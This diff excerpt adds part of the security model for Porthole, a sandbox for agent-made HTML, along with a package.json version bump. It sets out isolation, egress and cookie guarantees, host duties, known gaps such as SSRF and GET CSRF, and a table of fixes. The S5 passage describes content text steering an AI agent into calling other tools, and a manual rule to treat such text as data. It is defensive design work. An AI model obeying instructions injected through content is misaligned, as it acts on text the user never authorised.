+ - Show the person the domains a view declares before mounting it (`readViewResource(…).egress`
422
+ and `viewEgress()` give them; the spec says hosts SHOULD warn). Porthole has no prompt for it.
423
+ - Route `callTool` only to the view's own server, and refuse the tools the view may not call
424
+ (`_meta.ui.visibility`): that is the host's `callTool` handler's decision alone.
425
+ - Keep `setModelContext`'s `show` gate. The React provider shows each update whole outside every
426
+ frame (`ContextNotice`); a host's own `show` must show it whole too. Opt out
427
+ (`withoutShow: true`) only where the handler itself puts the text in front of the person, or the
428
+ content is the host's own (P100).
429
+ - Keep `callTool`'s confirmation. If the host's confirm says yes by itself and a view polls a tool
430
+ more often than every 2 s, give `callTool` its own `gates` with a rate: they replace the default.
431
+
432
+ **Not guaranteed**
433
+
434
+ - Declaring is allowing: what the person sees or types in the view may go to its
435
+ `connectDomains`.
436
+ - Code from `resourceDomains` runs in the frame (still isolated).
437
+ - Model context (`ui/update-model-context`) is shown before it goes, but showing isn't reading:
438
+ text the person let pass can still steer the model into calling other tools, which the gates on
439
+ the view's own calls don't catch. The manual's words (the content's unconfirmed text, never
440
+ instructions) are the second wall (P100, accepted).
441
+ - The public suffixes Porthole refuses wildcards over are its own short list, not the whole PSL.
442
+
443
+ ### S6. Previews of a running app
444
+
445
+ `presets.url`: a running app (a dev server's preview) framed by its URL (d).
446
+
447
+ **Porthole guarantees**
448
+
449
+ - Isolation: the app runs on a content origin, never the host's, in a frame with
450
+ `sandbox="allow-scripts allow-same-origin allow-forms"`. A host may add popups (and popups that
451
+ escape the sandbox), modals and downloads; top navigation never.
452
+ - Access: the same ticket and cookie as served pages. The upstream origin is fixed in the signed
453
+ session; the viewer can't change it.
454
+ - Porthole's own cookies are removed before a request reaches the host's `upstream` (HTTP), and
455
+ before the Node adapter hands a WebSocket to the host's `appSocket`.
456
+ - The app's cookie opens it only for its own origin (`Origin`, or `Sec-Fetch-Site` `same-origin`
457
+ or `none`) and for a navigation that opens it (GET or HEAD); anything else another origin sends
458
+ is a 403 before the upstream. A WebSocket opens from its own origin only: `content.access`, which
459
+ the Node adapter asks before `appSocket` and a Worker asks on its own upgrade path (P101).
460
+ - `proxyTo`, Porthole's HTTP relay (pass it as `upstream`), also rewrites the headers:
461
+ - requests go with `redirect: "manual"`;
462
+ - `Host`, hop-by-hop headers, `X-Forwarded-*`, `Forwarded` and `X-Real-IP` are dropped;
463
+ - an `Origin` or `Referer` naming the content origin is rewritten to the app's; any other goes
464
+ as sent, so an app that checks `Origin` sees a foreign one.
465
+
466
+ **The host must**
467
+
468
+ - Preview only code it trusts: the app gets no shell and no egress control (P020).
469
+ - Refuse, in its `instance` callback, upstream addresses it doesn't mean (loopback, private
470
+ networks): Porthole takes any http(s) URL, and the client's proposal is untrusted (SSRF).
471
+ - In a relay of its own, rewrite the headers as `proxyTo` does
472
+ (`upstreamHeaders.request(headers, { origin, target })`). A WebSocket relay that takes the
473
+ access from `content.access(request)` gets the browser's whole `Cookie` header, Porthole's
474
+ cookies included: send the app the headers `upstreamHeaders.request(…, { websocket: true })`
475
+ makes (Porthole's cookies removed, the upgrade's own headers kept).
476
+ - Keep previews off pages with displays that read data (S7).
477
+
478
+ **Not guaranteed**
479
+
480
+ - The app's network is its own.
481
+ - A page on another origin can still open the app by a navigation (a link, a frame of its own),
482
+ which reaches the app's GET routes as any link does.
483
+ - A request with neither `Origin` nor `Sec-Fetch-Site` goes on: in browsers without fetch
484
+ metadata (Safari before 16.4, older Chromium and Firefox) a sibling's GET subresource carries
485
+ the app's cookie (GET CSRF, script-shaped responses); POSTs are still refused, by `Origin`. The
486
+ app's own script can set a non-`HttpOnly` `__Host-porthole-<key>` where none exists: fixation
487
+ with a session it holds (P101).
488
+ - Through `proxyTo`, `True-Client-IP` and `CF-Connecting-IP` reach the app as the client sent
489
+ them.
490
+ - The app is a sibling of every other content origin, with no CSP of Porthole's beyond
491
+ `frame-ancestors`: S3's cookie problems are easier from here.
492
+
493
+ ### S7. Several displays on one page
494
+
495
+ **The rule: a page's egress is the union of its frames' egress.** Any frame can `postMessage`
496
+ any other frame on its page, and nothing inside a frame can stop it. So what one display was given
497
+ can be handed to the display with the widest network.
498
+
499
+ | Beside a display that reads the host's data or holds what the person types | |
500
+ | --- | --- |
501
+ | Closed egress, or Porthole's libraries | Fine. |
502
+ | `LIBRARY_CDNS` | Fine for ordinary data. Every request path to its nine origins is a narrow channel read by their operators: not for highly sensitive data. |
503
+ | An MCP view with `connectDomains` | Its domains become the page's. |
504
+ | `anyHttps` | No: any image URL is a way out. |
505
+ | url mode | No: the app's network is its own. |
506
+
507
+ - Porthole doesn't enforce this: `defineDisplays` takes any kinds together, and
508
+ `frameSources` is the union of all of theirs. Group displays by page yourself.
509
+ - An opaque frame also inherits the page's own CSP, so a strict page narrows its opaque frames
510
+ further (P058). A served frame has only its own policy.
511
+
512
+ ## 7. The display layer and the app runtime
513
+
514
+ ### The display layer
515
+
516
+ What it is: the presets, the isolation, the egress walls, the shell, the bridge for the display's
517
+ host functions (`sendPrompt`, `openLink`, `downloadFile`, `copyText`, `callTool`, `readData`,
518
+ `subscribeData`, `setModelContext`, `reportError`, annotations) and the generated manual.
519
+
520
+ **Porthole guarantees** the two lines of [§4](#4-two-lines-of-defense) for each display except url
521
+ mode (S6), with S1–S5's open items: isolation, closed egress, the gates. One config generates the
522
+ CSP, the sandbox, the shell's wiring and the manual, and a test holds them in agreement
523
+ (`test/agreement.test.ts`), so the agent is told what the sandbox allows. The leak suite tests each
524
+ wall on three engines, and `defineHostConformance` runs it against a host's own page.
525
+
526
+ **The host must** do what [every host](#what-every-host-must-do) does, write the handlers (their
527
+ effects are its own), and group displays by page (S7).
528
+
529
+ ### The app runtime
530
+
531
+ What it is: `config.runtime: "1"`, for inline widgets and artifact pages. A page reaches the
532
+ host's services through `porthole.use(name)`. Without it there is no `porthole` global, and the
533
+ config can't name the runtime's own host functions. A host that only shows content can skip this
534
+ section.
535
+
536
+ **Porthole guarantees**, in the bridge, before any handler runs:
537
+
538
+ - A page reaches the built-ins its kind offers (`clipboard`, `links`, `downloads`, `comments`) and
539
+ what it declared when published; anything else is refused (`undeclared`). The names it declares
540
+ in `data` hold with a viewer and without one (P094). A page from before 0.7 (the
541
+ host's `null` declaration) keeps 0.6's surface and gets none of `user`, `artifact`, `assets` and
542
+ `db`.
543
+ - Each method has a least level (`view < interact < admin < owner`), held against the viewer's
544
+ level from the host's `access`. A display without a viewer gets nothing above `view` and none of
545
+ the runtime's own host functions.
546
+ - A version mounted with `intersectDeclarations(version's, current)` gets only what both
547
+ declarations allow (P093).
548
+ - `db`: another person's `data/users/<id>` is refused at every level; `me` is the host's id for
549
+ the viewer, and paths in answers say `data/users/me`, never that id.
550
+ - What changes the artifact for everyone needs, by default, a gesture and a confirmation:
551
+ `artifact.publish` and `assets.delete` (a host's `methodGates` for them replace these).
552
+ - A `db.batch` runs under the gates of each of its writes, and a `db.watch` under those of `get`
553
+ or `query`, as well as their own; a batch that needs a confirmation is confirmed once, whole
554
+ (P094).
555
+ - Except in **bearer mode** (`AssetStore.bearer`, an opt-in that serves an asset to anyone with
556
+ its id), assets are served only to an access for their own artifact, after the host's check. A
557
+ code-typed asset runs as code only when an admin uploaded it where uploaded code may run, and
558
+ only while the config still lets uploaded code run, asked at every load, in bearer mode too
559
+ (where every artifact config must; P103); anything else is a download.
560
+ - `comments` is write-only: the page learns only whether the composer opened.
561
+ - `defineRuntimeConformance` checks the host's handlers, and with `api` its own API for `db`,
562
+ `artifact` and `assets`, with a forged context (a viewer claiming to be the owner, no rules).
563
+
564
+ **The host must**
565
+
566
+ - Treat its API as the wall: check each call again from its own session and its own stored
567
+ declaration, never from `context.viewer` or `context.declared`.
568
+ - Run `defineRuntimeConformance` with `api` in CI, against its real API.
569
+ - Say each viewer's level in `access`, and keep public grants low (S4).
570
+ - Store a declaration per version, and mount a version with
571
+ `intersectDeclarations(version's, current)`.
572
+ - Revoke with its per-request check (`authorize`) and `content.forget(…)`.
573
+ - Keep each person's data apart in its own stores, and refuse moved bases and versions
574
+ (`Refused("conflict")`).
575
+ - Handle abuse on shared pages (S4).
576
+
577
+ **Not guaranteed**
578
+
579
+ - Closed egress covers the network, not the host's services: what a page learns from `user`, or
580
+ what a viewer types into it, it can store in `db`, where its author (and other viewers, as the
581
+ page's rules allow) can read it.
582
+ - `db` rewrites only paths: an id the page stores inside a document's data is returned as stored.
583
+ - In bearer mode, assets are served by id alone, without the host's check.
584
+
585
+ ## 8. Fixes in flight
586
+
587
+ The decisions below come from the 2026-10-19 review. "Planned" means not in 0.8.0: the gap its
588
+ row names exists today, and the sections it cites say "open until" that decision. Each merged row
589
+ says what was wrong, what holds now, and the limit its decision accepts, if any.
590
+
591
+ | Decision | State | What it closes | Sections |
592
+ | --- | --- | --- | --- |
593
+ | P092 | Merged | A request with a method `fetch` refuses (`TRACE`) could end a Node process through the Node adapter; the issue endpoint read a JSON body without a byte limit; its rate limit keyed anonymous requests on headers a client sets. Now no request ends the process, a body is read to 64 KiB at most, and the key is an address the client can't set. | §5, S4 |
594
+ | P093 | Merged | `intersectDeclarations` compared rules name by name, so a current wildcard didn't narrow a version's named rule, and a collection named `__proto__` was lost. Now the result allows exactly what both sides allow. | §7 |
595
+ | P094 | Merged | Without a viewer, a page's declared `data` names weren't held; a pushed result answered a read past `readData`'s gates; `db.batch` and `db.watch` skipped their inner methods' `methodGates`. Now each holds. | §4, S2, S4, §7 |
596
+ | P095 | Merged | What content sent was read before its gate: a log or error report was serialized whole first; waiting confirmations had no cap. Now the bridge reads it after the gate into bounded text, nothing a page sends throws out of an adapter, and at most 10 confirmations wait per display. | §5, S1, S5 |
597
+ | P096 | Planned | The negative-control runner counts a control that didn't run as passed, and CI runs the runtime's controls only. | §4 |
598
+ | P097 | Merged | A release waits for the same commit's CI. No guarantee here depends on it. | |
599
+ | P098 | Merged | A set's page whose notice came late was taken for a navigation away (red on Chromium since 0.6.0), and tests that waited a fixed time. Accepted: a files display may hold a frame that did navigate away for up to 2 s before starting it again, delivering nothing while it waits. | S1 |
600
+ | P099 | Merged | A served page in a tab had no sandbox: `window.open` sent input out, it could navigate its opener, open a picture-in-picture window, and ask for the camera, location or full screen. Now its headers carry its frame's sandbox and deny what its frame's `allow` doesn't grant, and the shell closes those on a tab too; the served suite probes self-navigation in frames and tabs. A browser without the Navigation API is an accepted limit. | S4 |
601
+ | P100 | Merged | `setModelContext` was rate-limited only, unseen by the person. Now it needs the host's `show` by default. Accepted: shown isn't read, and characters that draw as blanks pass, bounded by the length. | S1, S5 |
602
+ | P101 | Merged | Under https Porthole read unprefixed `porthole-*` cookies a sibling label can plant; the entered mark carried no label; url mode checked neither `Origin` nor `Sec-Fetch-Site`. Now only `__Host-` names are read, the mark names its label, and a url-mode app answers its own origin and navigations. | S3, S6 |
603
+ | P102 | Merged | This document. | |
604
+ | P103 | Merged | A live widget's capabilities could add origins; bearer-mode assets skipped the code re-check; `callTool` had no rate. Now the preset refuses them and its config is frozen, every load asks the current config (its ETag says which answer), and `callTool` has 30 a minute. | S2, S5, §7 |
605
+
606
+ Open with no decision yet; until then they are the host's to cover:
607
+
608
+ - a check, at mount or in development, that the page sends its `frame-src` (S1: run
609
+ `defineHostConformance`);
610
+ - a check of which displays share a page (S7: group them yourself);
611
+ - an interstitial, report and takedown hooks for public pages, and a `lintContent` rule for
612
+ secrets (S4);
613
+ - refusing weak or example secrets, and a health answer that isn't derived from the secret (S3);
614
+ - dropping `True-Client-IP` and `CF-Connecting-IP`, and an SSRF example for `instance` (S6);
615
+ - a warning when the content domain isn't on the PSL (S3);
616
+ - a watchdog that unloads a frame that stops answering ([§5](#5-out-of-scope)).
package/package.json CHANGED
@@ -1,8 +1,17 @@
1
1
  {
2
2
  "name": "@botiverse/porthole",
3
- "version": "0.7.0",
3
+ "version": "0.8.0",
4
4
  "description": "A host-side sandbox for agent-made HTML: isolation, egress hardening, a themed shell, gated host functions, and the agent manual, from one config.",
5
+ "homepage": "https://github.com/botiverse/porthole#readme",
6
+ "bugs": {
7
+ "url": "https://github.com/botiverse/porthole/issues"
8
+ },
5
9
  "license": "Apache-2.0",
10
+ "repository": {
11
+ "type": "git",
12
+ "url": "git+https://github.com/botiverse/porthole.git",
13
+ "directory": "packages/porthole"
14
+ },
6
15
  "bin": {
7
16
  "porthole": "./dist/cli.js"
8
17
  },
@@ -12,7 +21,8 @@
12
21
  "types/runtime/**/*.d.ts",
13
22
  "docs",
14
23
  "examples",
15
- "README.md"
24
+ "README.md",
25
+ "THIRD_PARTY_NOTICES.md"
16
26
  ],
17
27
  "type": "module",
18
28
  "sideEffects": false,
@@ -70,7 +80,8 @@
70
80
  "react": "19.3.0",
71
81
  "react-dom": "19.3.0",
72
82
  "rolldown": "1.2.11",
73
- "typescript": "7.0.2"
83
+ "typescript": "7.0.2",
84
+ "yaml": "2.9.1"
74
85
  },
75
86
  "peerDependencies": {
76
87
  "react": ">=19"